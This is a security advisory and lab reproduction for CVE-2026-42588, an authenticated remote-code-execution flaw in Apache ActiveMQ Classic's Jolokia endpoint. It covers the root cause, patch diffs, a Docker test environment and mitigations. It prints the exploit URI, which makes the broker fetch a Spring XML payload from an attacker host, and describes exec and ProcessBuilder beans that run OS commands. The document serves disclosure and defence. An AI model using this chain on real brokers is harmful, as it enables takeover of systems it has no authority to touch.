Skip to content

CVE-2026-42588 — Apache ActiveMQ Classic Jolokia addNetworkConnector RCE

Published 2026-06-06

Authenticated RCE via JMX-HTTP bridge

Any user with a valid web-console credential can trigger OS-level code execution on the broker host by sending a single crafted HTTP request to the Jolokia endpoint. Default installations ship with credentials admin/admin.

Field Detail
Project Apache ActiveMQ
Affected component activemq-broker JAR — Jolokia JMX-HTTP bridge (/api/jolokia/) and BrokerService.addNetworkConnector MBean operation
Severity HIGH
CVSS CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N (8.1)
CWE CWE-20, CWE-94
Affected versions activemq-broker < 5.19.7; 6.0.0 – 6.2.5 (same ranges for activemq-all and apache-activemq)
Fixed version 5.19.7, 6.2.6
Advisory GHSA-hg6c-8mvr-jqc9

1. Vulnerability overview

Apache ActiveMQ Classic is a widely-deployed Java message broker. Versions before 5.19.7 and the 6.0.0–6.2.5 range include a Jolokia JMX-HTTP bridge at /api/jolokia/ on the web console (default port 8161). Through this endpoint, an attacker with any valid web-console credential (including the default admin/admin account) can invoke the BrokerService.addNetworkConnector(String) MBean operation and achieve arbitrary OS command execution on the broker host.

Root cause

The vulnerability is not a flawed algorithm or logic bug. It is two permissive default configuration files shipped with the binary distribution that together expose a powerful, unguarded operation.

assembly/src/release/conf/jolokia-access.xml: Jolokia's operation allow/deny policy. Before the fix, the <allow> block granted <operation>*</operation> on the entire org.apache.activemq:* MBean namespace. The <deny> block covered only the Log4j2 diagnostic MBean, so addNetworkConnector was fully reachable over HTTP.

assembly/src/release/conf/jetty.xml: Jetty's web server configuration. The /api/jolokia/* path was not mapped to the adminSecurityConstraint (the admins-only security constraint), so users with the users role (any valid console account) could reach Jolokia without needing the admin role.

The injection point is BrokerService.addNetworkConnector(String uri). When a URI of the form masterslave:(vm://evilbroker?brokerConfig=xbean:http://attacker.host/payload.xml&create=true,...) is supplied, the masterslave discovery handler passes the inner vm:// URI to the VM transport. The VM transport extracts the brokerConfig query parameter and hands it to XBeanBrokerFactory.createBroker(URI), which calls new ResourceXmlApplicationContext(configURI). Spring fetches the remote XML and instantiates all singleton beans before the broker performs any validation. A bean declared with factory-method="exec" on java.lang.Runtime, or a java.lang.ProcessBuilder bean with init-method="start", executes an OS command in the broker's JVM.

The fix in 5.19.7 and 6.2.6 addresses both files:

jolokia-access.xml: restricts HTTP methods to POST and explicitly denies the dangerous operations.

-  <!-- Enforce that an Origin/Referer header is present to prevent CSRF -->
+  <!-- Restrict HTTP methods to POST only -->
+  <http>
+    <method>post</method>
+  </http>

   <!-- deny block additions: -->
+    <mbean>
+      <name>org.apache.activemq:type=Broker,brokerName=*</name>
+      <operation>addNetworkConnector</operation>
+      <operation>removeNetworkConnector</operation>
+      <operation>addConnector</operation>
+      <operation>removeConnector</operation>
+      <operation>terminateJVM</operation>
+      <operation>stop</operation>
+      <!-- ... other lifecycle and topology ops ... -->
+    </mbean>
+    <!-- Also deny MLet (remote classloading), JMImplementation, java.lang:Runtime, etc. -->

jetty.xml: gates Jolokia behind the adminSecurityConstraint so only users with the admin role can reach it.

+    <bean id="jolokiaSecurityConstraintMapping"
+          class="org.eclipse.jetty.security.ConstraintMapping">
+        <property name="constraint" ref="adminSecurityConstraint" />
+        <property name="pathSpec" value="/api/jolokia/*" />
+    </bean>

Registered before the broader securityConstraintMapping:

     <property name="constraintMappings">
         <list>
             <ref bean="adminSecurityConstraintMapping" />
+            <ref bean="jolokiaSecurityConstraintMapping" />
             <ref bean="securityConstraintMapping" />
         </list>
     </property>

The patch also adds an InetAccessHandler that restricts the web console to the loopback interface by default, and adds security response headers. After the fix, addNetworkConnector and all other dangerous lifecycle operations are blocked at the Jolokia access-policy layer before the URI string reaches the transport layer.


2. Vulnerable environment

The reproduction environment uses two Docker containers on a private bridge network. Environment files are available as env.zip or individually below.

Stack:

Container Role Image Published port
cve-2026-42588-broker Vulnerable Apache ActiveMQ Classic 6.1.4 — web console + Jolokia built from env/Dockerfile.broker 127.0.0.1:8161 → 8161
cve-2026-42588-attacker Attacker-controlled HTTP server serving the Spring XML payload built from env/Dockerfile.attacker in-network only (port 8888, not published to host)

The broker image is built from the official apache/activemq-classic:6.1.4 base image with all stock configuration files unmodified. The jolokia-access.xml and jetty.xml files are the same ones shipped in the affected release. The attacker container runs python -m http.server 8888 and serves a bind-mounted directory (env/attacker-www/) that the exploit writes its payload XML into. From inside the bridge network, the broker resolves http://attacker:8888/<file> to reach the attacker's server.

The full compose configuration is in env/docker-compose.yml.

Starting the environment:

docker compose -f env/docker-compose.yml up -d --build

How you know the environment is the vulnerable one:

  • The broker JAR is activemq-broker-6.1.4.jar, confirmed by Jolokia's BrokerVersion attribute (6.1.4), which falls in the affected 6.0.0–6.2.5 range.
  • The stock conf/jolokia-access.xml grants <operation>*</operation> on org.apache.activemq:* with no deny rule for addNetworkConnector and no POST-only <http> restriction: the pre-patch permissive policy.
  • The env/positive-control.sh script (env/positive-control.sh) performs a four-link chain check using an inert Spring XML bean (a java.lang.String, not an exec bean). It confirms all four links are reachable (the Jolokia endpoint, the policy, the attacker HTTP host, and the ResourceXmlApplicationContext sink) without triggering any OS command. A passing result (POSITIVE CONTROL: GREEN — PASS=8 FAIL=0) proves the full exploit chain is present and functional on this host.
bash env/positive-control.sh   # expect: POSITIVE CONTROL: GREEN

3. How to exploit

The exploit script is exploit/run.sh (full set: exploit.zip). It mints a fresh per-run nonce, writes a java.lang.ProcessBuilder Spring XML payload into the attacker's web directory, and posts the Jolokia exec request to addNetworkConnector. The broker fetches the payload XML over the bridge network and executes the OS command through ResourceXmlApplicationContext bean instantiation.

Run all steps from the run directory.

Step 1 — Fire the exploit and capture the marker path.

MARKER=$(bash exploit/run.sh http://127.0.0.1:8161 admin:admin "$(pwd)/env/attacker-www" \
         | tee /dev/stderr | sed -n 's/^MARKER_PATH=//p')
echo "captured MARKER=$MARKER"

run.sh prints MARKER_PATH=... and NONCE=... lines to stdout. The snippet above captures the marker path into $MARKER. The Jolokia POST should return "value":"NC","status":200, confirming the connector was registered.

URI shape matters

The masterslave:// scheme requires at least two inner URIs, and the VM transport must be told to create a new broker (not attach to the running one). run.sh uses the form: masterslave:(vm://evil-<nonce>?brokerConfig=xbean:http://attacker:8888/payload-<nonce>.xml&create=true,vm://evil-<nonce>?brokerConfig=xbean:http://attacker:8888/payload-<nonce>.xml&create=true) A single URI or vm://localhost (which attaches to the running broker) does not trigger XBean instantiation.

Step 2 — Wait for the broker to create the marker, then read it via the independent privileged channel.

for i in $(seq 1 60); do
  docker exec cve-2026-42588-broker sh -c "test -f $MARKER" && break
  sleep 2
done
docker exec cve-2026-42588-broker sh -c "stat -c '%n owner=%U:%G' $MARKER; echo ---; cat $MARKER"

The broker processes the network connector on its async timer, so the marker typically appears within seconds of the POST. The loop waits up to two minutes.

What proves it worked

Verification uses docker exec into the broker container, a privileged channel the exploit itself never touches (the exploit script contains no docker exec call and no direct access to the broker filesystem):

  • Marker exists at the path the exploit script reported.
  • Owner is root:root: the broker process runs as root in the stock image, so a file it creates has that ownership. This confirms the command ran inside the broker JVM, not via any other path.
  • Content equals the fresh nonce minted for this specific run (e.g. cve-2026-42588-1780409388-52016-21523). A stale marker from a prior run contains a different nonce and would not match.

Output from the verified run:

/tmp/cve-2026-42588-1780409388-52016-21523.marker owner=root:root
---
cve-2026-42588-1780409388-52016-21523

The broker log confirms the full chain fired:

Establishing network connection from vm://localhost to
failover:(vm://evil-1780409388-52016-6800?brokerConfig=xbean:http://attacker:8888/payload-<nonce>.xml&create=true,...)

The attacker HTTP server log shows the broker fetched the payload XML:

172.19.0.3 - - [date] "GET /payload-<nonce>.xml HTTP/1.1" 200 -

The exploit has no way to fabricate a root-owned file inside the broker container over its HTTP/Jolokia surface, so the presence of the matching marker confirms the addNetworkConnector → VM-transport brokerConfig → remote-XBean-XML bean instantiation chain executed an OS command in the broker's JVM.

Environment teardown

docker compose -f env/docker-compose.yml down -v
# optional image cleanup:
# docker image rm cve-2026-42588-broker:6.1.4 cve-2026-42588-attacker:latest

4. Security advice

Remediation

Upgrade to Apache ActiveMQ Classic 5.19.7 (5.x line) or 6.2.6 (6.x line). Both releases replace the permissive default jolokia-access.xml and jetty.xml with hardened versions: addNetworkConnector and related lifecycle operations are explicitly denied at the Jolokia policy layer, Jolokia is gated behind the admin role, the web console is restricted to loopback by default, and security headers are added.

Mitigations if immediate upgrade is not possible

  1. Block addNetworkConnector in jolokia-access.xml: add an explicit <deny> entry for addNetworkConnector, addConnector, and all other lifecycle operations under org.apache.activemq:type=Broker,brokerName=* in your running broker's conf/jolokia-access.xml. Also add a <http><method>post</method></http> restriction.
  2. Require admin role for Jolokia: in jetty.xml, add a ConstraintMapping for /api/jolokia/* pointing at the adminSecurityConstraint, placed before the broader securityConstraintMapping.
  3. Restrict web console to loopback: add an InetAccessHandler or firewall rule so port 8161 is not reachable from untrusted networks.
  4. Change default credentials: this does not eliminate the vulnerability (any authenticated user suffices), but the default admin/admin makes exploitation trivial on unmodified installations.
  5. Network egress filtering on the broker host: blocking outbound HTTP from the broker host prevents it from fetching the attacker-controlled Spring XML, breaking the injection chain even if the Jolokia call succeeds.

References